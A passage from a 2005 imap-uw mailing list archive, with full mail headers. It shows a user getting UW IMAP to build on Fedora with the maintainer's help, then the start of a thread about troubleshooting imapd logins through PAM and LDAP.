mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNqXAF007684 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 23 Sep 2005 16:52:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNqS2m010813 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 23 Sep 2005 16:52:28 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNqSks022590; Fri, 23 Sep 2005 16:52:28 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNqSbp022582 for ; Fri, 23 Sep 2005 16:52:28 -0700 Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.205]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNq3Xk029736 for ; Fri, 23 Sep 2005 16:52:27 -0700 Received: by zproxy.gmail.com with SMTP id 16so302745nzp for ; Fri, 23 Sep 2005 16:52:27 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references; b=Nm+NZN/k6jKeHYSUh0zrThRBNrdjJpTr0Wh2lSdpPCMtfB4vLp0W09mtG1ZZsKit/dLhbOLqFLsepdTgNL8QjVjkmocWjej6TWYblUhGLhiCuJwL3ESF/E51RonPPhRMtXUfsXqXHCUbj31mko6mMjiD1VVPzxk96vXOborjxao= Received: by 10.54.111.2 with SMTP id j2mr914251wrc; Fri, 23 Sep 2005 16:52:27 -0700 (PDT) Received: by 10.54.77.4 with HTTP; Fri, 23 Sep 2005 16:52:27 -0700 (PDT) Message-ID: Date: Fri, 23 Sep 2005 19:52:27 -0400 From: Diane Napolitano To: Mark Crispin , imap-uw@u.washington.edu Subject: Re: [Imap-uw] imap in Fedora Core 3 In-Reply-To: MIME-Version: 1.0 References: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Diane Napolitano List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1573446748==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1573446748== Content-Type: multipart/alternative; boundary="----=_Part_13991_4052132.1127519547469" ------=_Part_13991_4052132.1127519547469 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On 9/22/05, Mark Crispin wrote: > > On Thu, 22 Sep 2005, Diane Napolitano wrote: > You can quell these by adding > EXTRACFLAGS=3D-Wno-pointer-sign > to the build command, e.g., > make ldb EXTRAAUTHENTICATORS=3Dgss EXTRACFLAGS=3D-Wno-pointer-sign > Hello there, sorry I didn't respond sooner; I unfortunately had to do a completely fresh install of FC4 so my attention was diverted elsewhere...long story short, I no longer get any of the previous errors I was getting, but now the make (running exactly as you suggested) fails with the following: ../c-client/c-client.a(osdep.o)(.text+0x8df9): In function `ssl_onceonlyinit': /imap-2004g/c-client/osdep.c:300: warning: the use of `tmpnam' is dangerous= , better use `mkstemp' make[2]: Leaving directory `/imap-2004g/tmail' make[1]: Leaving directory `/imap-2004g' I can't tell for sure but it looks like a problem with openssl this time... Thanks, Diane ------=_Part_13991_4052132.1127519547469 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On 9/22/05, Mark Crispin <MRC@cac.washington.edu> wrote:
    On Thu, 22 Sep 2005, Diane Napolitano wrote:
    You can quell these by addi= ng
            EXTRACFLAGS=3D-Wno-po= inter-sign
    to the build command, e.g.,
         =    make ldb EXTRAAUTHENTICATORS=3Dgss EXTRACFLAGS=3D-Wno-poi= nter-sign

    Hello there, sorry I didn't respond sooner; I unfortunately had to do a completely fresh install of FC4 so my attention was diverted elsewhere...long story short, I no longer get any of the previous errors I was getting, but now the make (running exactly as you suggested) fails with the following:

    ../c-client/c-client.a(osdep.o)(.text+0x8df9): In function `ssl_onceonlyini= t':
    /imap-2004g/c-client/osdep.c:300: warning: the use of `tmpnam' is dangerous= , better use `mkstemp'
    make[2]: Leaving directory `/imap-2004g/tmail'
    make[1]: Leaving directory `/imap-2004g'

    I can't tell for sure but it looks like a problem with openssl this time...=

    Thanks,
    Diane
    ------=_Part_13991_4052132.1127519547469-- --===============1573446748== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1573446748==-- From pinedev@shivax2.cac.washington.edu Fri Sep 23 16:59:29 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Sep 2005 16:59:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxTsn020112 for ; Fri, 23 Sep 2005 16:59:29 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxSmt008172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 23 Sep 2005 16:59:28 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxNbx019486 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 23 Sep 2005 16:59:23 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxNUw023603; Fri, 23 Sep 2005 16:59:23 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxMHM023576 for ; Fri, 23 Sep 2005 16:59:22 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxLN6024438 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 23 Sep 2005 16:59:21 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxKZG015813 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 23 Sep 2005 16:59:20 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8NNxKIO005438 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 23 Sep 2005 16:59:20 -0700 Date: Fri, 23 Sep 2005 16:57:40 -0700 (Pacific Daylight Time) From: Mark Crispin To: Diane Napolitano Subject: Re: [Imap-uw] imap in Fedora Core 3 In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 23 Sep 2005, Diane Napolitano wrote: > the make (running exactly as you suggested) fails with > the following: > ../c-client/c-client.a(osdep.o)(.text+0x8df9): In function `ssl_onceonlyinit': /imap-2004g/c-client/osdep.c:300: warning: the use of `tmpnam' is dangerous better use `mkstemp' > make[2]: Leaving directory `/imap-2004g/tmail' > make[1]: Leaving directory `/imap-2004g' This isn't a failure. In fact, it's a warning message that you can completely disregard; the warning itself is erroneous. Did it make the following executable files in imap-2004g/: dmail/dmail imapd/imapd ipopd/ipop2d and ipopd/ipop3d mailutil/mailutil mlock/mlock mtest/mtest tmail/tmail If so, you have a successful build. If not, I need to see the rest of the build transcript. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Sep 23 17:13:04 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Sep 2005 17:13:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8O0D3Rq020790 for ; Fri, 23 Sep 2005 17:13:03 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8O0D2Cm031143 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 23 Sep 2005 17:13:03 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8O0CwP3021499 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 23 Sep 2005 17:12:59 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8O0Cwbr026282; Fri, 23 Sep 2005 17:12:58 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8O0Cv23026274 for ; Fri, 23 Sep 2005 17:12:57 -0700 Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.196]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8O0CjF8009660 for ; Fri, 23 Sep 2005 17:12:57 -0700 Received: by zproxy.gmail.com with SMTP id 16so306464nzp for ; Fri, 23 Sep 2005 17:12:57 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references; b=PUTEcfKS40VLInRGKd+TOJjAkxbCda13jOQsizYXjBMyh7gWFNdKg3nUxWNOG0+5m4ujyGIEtNTosw7TLHf6RRYTjp7CZGAbVEa6oUVaseshFTNb4RyV4/1WRD1b1pIKCIqfB8Z+/2dSUVs+qRR0Wy5XPjo8W0WGXI+qzvMwDhc= Received: by 10.54.16.3 with SMTP id 3mr1263886wrp; Fri, 23 Sep 2005 17:12:56 -0700 (PDT) Received: by 10.54.77.4 with HTTP; Fri, 23 Sep 2005 17:12:56 -0700 (PDT) Message-ID: Date: Fri, 23 Sep 2005 20:12:56 -0400 From: Diane Napolitano To: Mark Crispin , imap-uw@u.washington.edu Subject: Re: [Imap-uw] imap in Fedora Core 3 In-Reply-To: MIME-Version: 1.0 References: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Diane Napolitano List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1701056045==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1701056045== Content-Type: multipart/alternative; boundary="----=_Part_14051_26275317.1127520776904" ------=_Part_14051_26275317.1127520776904 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On 9/23/05, Mark Crispin wrote: > > On Fri, 23 Sep 2005, Diane Napolitano wrote: > > the make (running exactly as you suggested) fails with > > the following: > > ../c-client/c-client.a(osdep.o)(.text+0x8df9): In function > `ssl_onceonlyinit': /imap-2004g/c-client/osdep.c:300: warning: the use of > `tmpnam' is dangerous better use `mkstemp' > > make[2]: Leaving directory `/imap-2004g/tmail' > > make[1]: Leaving directory `/imap-2004g' > > This isn't a failure. In fact, it's a warning message that you can > completely disregard; the warning itself is erroneous. > > Did it make the following executable files in imap-2004g/: > dmail/dmail > imapd/imapd > ipopd/ipop2d and ipopd/ipop3d > mailutil/mailutil > mlock/mlock > mtest/mtest > tmail/tmail > > If so, you have a successful build. > > If not, I need to see the rest of the build transcript. The executables are there. I'll try them out and see how it goes . Thanks for all your help :) - Diane ------=_Part_14051_26275317.1127520776904 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On 9/23/05, Mark Crispin <MRC@cac.washington.edu> wrote:
    On Fri, 23 Sep 2005, Diane Napolitano wrote:
    > the make (running exac= tly as you suggested) fails with
    > the following:
    > ../c-client= /c-client.a(osdep.o)(.text+0x8df9): In function `ssl_onceonlyinit': /imap-2= 004g/c-client/osdep.c:300: warning: the use of `tmpnam' is dangerous better= use `mkstemp'
    > make[2]: Leaving directory `/imap-2004g/tmail'
    > make[1]: Le= aving directory `/imap-2004g'

    This isn't a failure.  In fa= ct, it's a warning message that you can
    completely disregard; the warnin= g itself is erroneous.

    Did it make the following executable files in imap-2004g/:
     = ;       dmail/dmail
       = ;     imapd/imapd
         = ;   ipopd/ipop2d and ipopd/ipop3d
        = ;    mailutil/mailutil
         = ;   mlock/mlock
           = ; mtest/mtest
            tmail/tmail

    If s= o, you have a successful build.

    If not, I need to see the rest of th= e build transcript.

    The executables are there.  I'll try them out and see how it goes .
    Thanks for all your help :)

    - Diane


    ------=_Part_14051_26275317.1127520776904-- --===============1701056045== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1701056045==-- From pinedev@shivax2.cac.washington.edu Tue Oct 4 15:25:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Oct 2005 15:25:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MP3c7023292 for ; Tue, 4 Oct 2005 15:25:03 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MP0BY005478 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Oct 2005 15:25:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MP0Gr025600; Tue, 4 Oct 2005 15:25:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MP0no030470; Tue, 4 Oct 2005 15:25:00 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MOwrX030461 for ; Tue, 4 Oct 2005 15:24:58 -0700 Received: from oggy.wasmer.ca (oggy.wasmer.ca [69.90.80.201]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MOvoC008649 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 4 Oct 2005 15:24:58 -0700 Received: from [192.168.1.176] (toronto-HSE-ppp4120397.sympatico.ca [70.50.240.203]) (authenticated bits=0) by oggy.wasmer.ca (8.13.4/8.12.9) with ESMTP id j94MOs6u014842 for ; Tue, 4 Oct 2005 18:24:56 -0400 (EDT) Message-ID: <4343012F.70904@lists.wasmer.ca> Date: Tue, 04 Oct 2005 18:24:47 -0400 From: Jean-Luc Wasmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Authentication with PAM X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, I'm trying to make imap work with pam_ldap... when I log in, I can see the search for the user info being requested on the ldap server. The server replies with one entry (which is correct). Unfortunately, the imapd denies the login but I don't have much info. Ssh, su and other programs work fine with pam_ldap. How can I get more debug on what's going on? Could it be related to the way the password is encrypted in the LDAP backend? Jean-Luc _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Oct 4 15:30:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Oct 2005 15:30:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUVQf023621 for ; Tue, 4 Oct 2005 15:30:31 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUUae008498 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Oct 2005 15:30:30 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUUa9026256; Tue, 4 Oct 2005 15:30:30 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUTHn031543; Tue, 4 Oct 2005 15:30:29 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUSFf031528 for ; Tue, 4 Oct 2005 15:30:28 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUSHM017327 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Oct 2005 15:30:28 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MURCm027014 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Oct 2005 15:30:27 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j94MUQLH029681 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 4 Oct 2005 15:30:27 -0700 Date: Tue, 4 Oct 2005 15:30:30 -0700 (Pacific Daylight Time) From: Mark Crispin To: Jean-Luc Wasmer Subject: Re: [Imap-uw] Authentication with PAM In-Reply-To: <4343012F.70904@lists.wasmer.ca> Message-ID: References: <4343012F.70904@lists.wasmer.ca> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 4 Oct 2005, Jean-Luc Wasmer wrote: > I'm trying to make imap work with pam_ldap... when I log in, I can see the > search for the user info being requested on the ldap server. The server > replies with one entry (which is correct). Unfortunately, the imapd denies > the login but I don't have much info. Have you defined PAM authentication rules for IMAP in /etc/pam.d/imap? Is the user defined in /etc/passwd? LDAP is only used to get the encrypted password; everything else still comes from the passwd file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Oct 4 22:06:38 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Oct 2005 22:06:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9556cCt010050 for ; Tue, 4 Oct 2005 22:06:38 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9556bvZ025770 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Oct 2005 22:06:37 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9556bbN022082; Tue, 4 Oct 2005 22:06:37 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9556bTM017223; Tue, 4 Oct 2005 22:06:37 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9556alk017215 for ; Tue, 4 Oct 2005 22:06:36 -0700 Received: from oggy.wasmer.ca (oggy.wasmer.ca [69.90.80.201]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9556Y4q004839 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 4 Oct 2005 22:06:35 -0700 Received: from [192.168.0.250] (shaun.wasmer.ca [64.26.155.159]) (authenticated bits=0) by oggy.wasmer.ca (8.13.4/8.12.9) with ESMTP id j9556YF8012364 for ; Wed, 5 Oct 2005 01:06:34 -0400 (EDT) Message-ID: <43435F58.1010500@lists.wasmer.ca> Date: Wed, 05 Oct 2005 01:06:32 -0400 From: Jean-Luc Wasmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: imap-uw@u.washington.edu Subject: Re: [imap-uw] Re: [Imap-uw] Authentication with PAM References: <4343012F.70904@lists.wasmer.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > On Tue, 4 Oct 2005, Jean-Luc Wasmer wrote: > >> I'm trying to make imap work with pam_ldap... when I log in, I can >> see the search for the user info being requested on the ldap server. >> The server replies with one entry (which is correct). Unfortunately, >> the imapd denies the login but I don't have much info. > > > Have you defined PAM authentication rules for IMAP in /etc/pam.d/imap? I thought I had... that' s why I said "I can see the search for the user info being requested on the ldap server" ie. /etc/pam.d/imap seems to be doing what it's supposed to. > Is the user defined in /etc/passwd? no but I have nss_ldap which works fine. Doing a bit of testing, I realized the LDAP lookups were actually happening because of the nss_ldap not the pam_ldap so I disabled nss_ldap. I still can't log in with imap when I use either a LDAP-only user or a user which passwords is only in LDAP (but still has an entry in /etc/passwd). Therefore the problem must be with the /etc/pam.d/imap configuration file. Unfortunately, no matter what I put in it, it doesn't seem to be affecting imapd. Do I need a special switch to enable PAM when I build the software? Jean-Luc _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Oct 4 22:13:14 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Oct 2005 22:13:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DDa0010279 for ; Tue, 4 Oct 2005 22:13:13 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DDNq026057 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Oct 2005 22:13:13 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DCQF022606; Tue, 4 Oct 2005 22:13:12 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DCHY018079; Tue, 4 Oct 2005 22:13:12 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DBJQ018071 for ; Tue, 4 Oct 2005 22:13:11 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DBGw015825 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Oct 2005 22:13:11 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j955DAC2025724 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Oct 2005 22:13:10 